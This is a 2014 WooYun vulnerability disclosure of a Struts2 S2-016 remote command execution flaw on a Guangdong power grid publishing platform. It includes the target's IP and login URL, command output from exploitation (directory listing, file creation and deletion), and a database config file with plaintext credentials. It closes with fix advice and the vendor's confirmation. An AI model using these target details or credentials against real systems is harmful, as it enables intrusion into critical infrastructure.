当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-075412

漏洞标题:广东电网公司某信息发布平台存在Struts2远程命令执行漏洞

相关厂商:广东电网公司

漏洞作者: cf_hb

提交时间:2014-09-09 16:09

修复时间:2014-10-24 16:10

公开时间:2014-10-24 16:10

漏洞类型:命令执行

危害等级:高

自评Rank:14

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-09-09: 细节已通知厂商并且等待厂商处理中
2014-09-14: 厂商已经确认,细节仅向厂商公开
2014-09-24: 细节向核心白帽子及相关领域专家公开
2014-10-04: 细节向普通白帽子公开
2014-10-14: 细节向实习白帽子公开
2014-10-24: 细节向公众公开

简要描述:

存在Struts2远程命令执行漏洞,漏洞CVE-2013-2251 编号:S2-016
http://struts.apache.org/release/2.3.x/docs/s2-016.html

详细说明:

URL:http://221.179.6.136:8080/
截图:

index.PNG


存在漏洞CVE-2013-2251 编号:S2-016
官方说明:
http://struts.apache.org/release/2.3.x/docs/s2-016.html

漏洞证明:

漏洞证明:
Target: http://221.179.6.136:8080/login.action
Useage: S2-016
Whoami: oracle
WebPath: /www/projects/hssms/
====================================================================================================================================
当前用户:oracle 所属用户组:dba
uid=501(oracle) gid=501(dba) groups=501(dba) context=user_u:system_r:unconfined_t
查看站点文件目录结构:
find /www/projects/hssms/
====================================================================================================================================
/www/projects/hssms/
/www/projects/hssms/centent.jsp
/www/projects/hssms/css
/www/projects/hssms/css/manager.css
/www/projects/hssms/css/dhtmlXTreeGrid.css
/www/projects/hssms/css/css.css
/www/projects/hssms/css/dhtmlXTree.css
/www/projects/hssms/css/tabs.css
/www/projects/hssms/css/font.css
/www/projects/hssms/css/calendar.css
/www/projects/hssms/css/style.css
/www/projects/hssms/t3.html
/www/projects/hssms/500.jsp
/www/projects/hssms/stat
/www/projects/hssms/stat/sendfluxrep
/www/projects/hssms/stat/sendfluxrep/sendfluxrepList.jsp
/www/projects/hssms/stat/sendfluxrep/showSendfluxreps.xsl
/www/projects/hssms/stat/recvfluxrep
/www/projects/hssms/stat/recvfluxrep/recvfluxrepList.jsp
/www/projects/hssms/stat/recvfluxrep/showRecvfluxreps.xsl
/www/projects/hssms/stat/mmssendfluxrep
/www/projects/hssms/stat/mmssendfluxrep/mmsSendfluxrepList.jsp
/www/projects/hssms/stat/mmssendfluxrep/showMMSSendfluxreps.xsl
/www/projects/hssms/jxltable
/www/projects/hssms/showBodyMenus.xsl
/www/projects/hssms/baseDataTable
/www/projects/hssms/baseDataTable/main.htm
/www/projects/hssms/baseDataTable/showTables.xsl
/www/projects/hssms/baseDataTable/showAlterTable.xsl
/www/projects/hssms/baseDataTable/main.js
/www/projects/hssms/baseDataTable/tables.xml
/www/projects/hssms/baseDataTable/createTable.htm
/www/projects/hssms/baseDataTable/toCreateTableSql.xsl
/www/projects/hssms/baseDataTable/alterColumnType.htm
/www/projects/hssms/baseDataTable/main.jsp
/www/projects/hssms/baseDataTable/alterTable.htm
/www/projects/hssms/baseDataTable/createTable.js
/www/projects/hssms/baseDataTable/addColumn.htm
/www/projects/hssms/baseDataTable/showColumns.xsl
/www/projects/hssms/baseDataTable/table.xml
/www/projects/hssms/reLogin.jsp
/www/projects/hssms/retcode
/www/projects/hssms/retcode/retcodeList.jsp
/www/projects/hssms/retcode/showRetcode.xsl
/www/projects/hssms/retcode/showRetcodes.xsl
/www/projects/hssms/reLogin2.jsp
/www/projects/hssms/menus.xml
/www/projects/hssms/??+????.txt
/www/projects/hssms/noticelog
/www/projects/hssms/noticelog/showSelectNoticelogs.xsl
/www/projects/hssms/noticelog/showNoticelogs.xsl
/www/projects/hssms/noticelog/showViewNoticelog.xsl
/www/projects/hssms/noticelog/noticelogList.jsp
/www/projects/hssms/noticelog/selectNoticelogList.jsp
/www/projects/hssms/noticelog/viewNoticelog.jsp
/www/projects/hssms/noticelog/showNoticelog.xsl
/www/projects/hssms/top.jsp
/www/projects/hssms/samples
/www/projects/hssms/samples/person
/www/projects/hssms/samples/person/showData.xsl
/www/projects/hssms/samples/person/datasList.jsp
/www/projects/hssms/samples/person/programStruct.xml
/www/projects/hssms/samples/person/showDatasList.xsl
/www/projects/hssms/samples/org
/www/projects/hssms/samples/org/showData.xsl
/www/projects/hssms/samples/org/datasList.jsp
/www/projects/hssms/samples/org/programStruct.xml
/www/projects/hssms/samples/org/showDatasList.xsl
/www/projects/hssms/messages.xml
/www/projects/hssms/forbuser
/www/projects/hssms/forbuser/showsUser.xsl
/www/projects/hssms/forbuser/forbuserList.jsp
/www/projects/hssms/forbuser/showUser.xsl
/www/projects/hssms/funccode
/www/projects/hssms/funccode/showSysPara.xsl
/www/projects/hssms/funccode/sysPara.jsp
/www/projects/hssms/funccode/funccodeList.jsp
/www/projects/hssms/funccode/showFunccode.xsl
/www/projects/hssms/funccode/showFunccodes.xsl
/www/projects/hssms/updatePwd.jsp
/www/projects/hssms/operator
/www/projects/hssms/operator/showOperators.xsl
/www/projects/hssms/operator/modifyMy.jsp
/www/projects/hssms/operator/showModifyMy.xsl
/www/projects/hssms/operator/showOperator.xsl
/www/projects/hssms/operator/mySet.jsp
/www/projects/hssms/operator/operatorList.jsp
/www/projects/hssms/operator/showMySet.xsl
/www/projects/hssms/sendfluxrepmms
/www/projects/hssms/sendfluxrepmms/list.jsp
/www/projects/hssms/sendfluxrepmms/load.jsp
/www/projects/hssms/roleandfunc
/www/projects/hssms/roleandfunc/showRoleandfuncs.xsl
/www/projects/hssms/roleandfunc/roleandfunc.jsp
/www/projects/hssms/roleandfunc/roleandfuncs.xml
/www/projects/hssms/head.jsp
/www/projects/hssms/ywforbtime
/www/projects/hssms/ywforbtime/s
查看当前用户权限:
ls /www/projects/hssmshttps://wooyun-img.oss-cn-beijing.aliyuncs.com/upload/ -al
====================================================================================================================================
/www/projects/hssmshttps://wooyun-img.oss-cn-beijing.aliyuncs.com/upload/:
total 48
drwxr-xr-x 2 oracle dba 4096 Sep 8 01:10 .
drwxr-xr-x 59 oracle dba 4096 Aug 20 21:15 ..
-rw-r--r-- 1 oracle dba 338 Aug 20 21:14 error.jsp
-rw-r--r-- 1 oracle dba 338 Aug 20 21:14 success.jsp
-rw-r--r-- 1 oracle dba 514 Aug 20 21:14 upload_bak.jsp
-rw-r--r-- 1 oracle dba 2181 Aug 20 21:14 upload.jsp
测试了一下可以新建,删除文件:
新建一个文件:upload_bak2.jsp
touch /www/projects/hssmshttps://wooyun-img.oss-cn-beijing.aliyuncs.com/upload/upload_bak2.jsp
====================================================================================================================================
查看文件:
ls /www/projects/hssmshttps://wooyun-img.oss-cn-beijing.aliyuncs.com/upload/
====================================================================================================================================
error.jsp
success.jsp
upload_bak2.jsp
upload_bak.jsp
upload.jsp
打开新建的,文件内容是空的:
cat /www/projects/hssmshttps://wooyun-img.oss-cn-beijing.aliyuncs.com/upload/upload_bak2.jsp
====================================================================================================================================
删除新建测试文件:upload_bak2.jsp
rm /www/projects/hssmshttps://wooyun-img.oss-cn-beijing.aliyuncs.com/upload/upload_bak2.jsp
====================================================================================================================================
测试文件被删除了:
ls /www/projects/hssmshttps://wooyun-img.oss-cn-beijing.aliyuncs.com/upload/
====================================================================================================================================
/www/projects/hssmshttps://wooyun-img.oss-cn-beijing.aliyuncs.com/upload/:
error.jsp
success.jsp
upload_bak.jsp
upload.jsp
这里可以发现,如果被人利用这个漏洞可以删除整个站点的文件!
查看数据库配置文件:
#jdbc.driverClassName=net.sourceforge.jtds.jdbc.Driver
#jdbc.url=jdbc:jtds:sqlserver://localhost:1433/CJ
#jdbc.DBDialect=org.hibernate.dialect.SQLServerDialect
#jdbc.username=sa
#jdbc.password=1
#jdbc.driverClassName=oracle.jdbc.driver.OracleDriver
#jdbc.url=jdbc:oracle:thin:@(description=(address=(host=127.0.0.1)(protocol=tcp)(port=1521))(connect_data=(sid=orcl)))
#jdbc.DBDialect=org.hibernate.dialect.Oracle9Dialect
#jdbc.username=szsms
#jdbc.password=smspwd
jdbc.driverClassName=oracle.jdbc.driver.OracleDriver
#jdbc.url=jdbc:oracle:thin:@(description=(address=(host=221.179.6.136)(protocol=tcp)(port=1521))(connect_data=(sid=EJETDB)))
jdbc.url=jdbc:oracle:thin:@(description=(address=(host=localhost)(protocol=tcp)(port=1521))(connect_data=(sid=EJETDB)))
#jdbc.url=jdbc:oracle:thin:@(description=(address=(host=127.0.0.1)(protocol=tcp)(port=1521))(connect_data=(sid=orcl)))
jdbc.DBDialect=org.hibernate.dialect.Oracle9Dialect
jdbc.username=hssms
jdbc.password=smspwd
#===================all db Dialect===================
#DB2 org.hibernate.dialect.DB2Dialect
#DB2 AS/400 org.hibernate.dialect.DB2400Dialect
#DB2 OS390 org.hibernate.dialect.DB2390Dialect
#PostgreSQL org.hibernate.dialect.PostgreSQLDialect
#MySQL org.hibernate.dialect.MySQLDialect
#MySQL with InnoDB org.hibernate.dialect.MySQLInnoDBDialect
#MySQL with MyISAM org.hibernate.dialect.MySQLMyISAMDialect
#Oracle (any version) org.hibernate.dialect.OracleDialect
#Oracle 9i/10g org.hibernate.dialect.Oracle9Dialect
#Sybase org.hibernate.dialect.SybaseDialect
#Sybase Anywhere org.hibernate.dialect.SybaseAnywhereDialect
#Microsoft SQL Server org.hibernate.dialect.SQLServerDialect
#SAP DB org.hibernate.dialect.SAPDBDialect
#Informix org.hibernate.dialect.InformixDialect
#HypersonicSQL org.hibernate.dialect.HSQLDialect
#Ingres org.hibernate.dialect.IngresDialect
#Progress org.hibernate.dialect.ProgressDialect
#Mckoi SQL org.hibernate.dialect.MckoiDialect
#Interbase org.hibernate.dialect.InterbaseDialect
#Pointbase org.hibernate.dialect.PointbaseDialect
#FrontBase org.hibernate.dialect.FrontbaseDialect
#Firebird org.hibernate.dialect.FirebirdDialect
看到了Oracle数据库的连接用户名和密码:
于是连接上数据库:

dw1.png


管理员和用户的登录账号信息:

dw2.png


这里因该是设置了不许外网登录吧,看里面的登录日志都是内网Ip的。
到此这个平台的整站文件,数据库数据都可以被利用任意操作!!

修复方案:

1. 参照官方说明升级struts2版本
2. 数据库加强安全策略,不允许外网联接,或者指定的Ip才能外联数据库。

版权声明:转载请注明来源 cf_hb@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2014-09-14 12:09

厂商回复:

CNVD确认并复现所述情况,已经转由CNCERT下发给广东分中心,由其后续协调网站管理单位处置。

最新状态:

暂无


漏洞评价:

评论

  1. 2014-10-31 11:13 | 少帅 ( 实习白帽子 | Rank:59 漏洞数:14 )

    good job !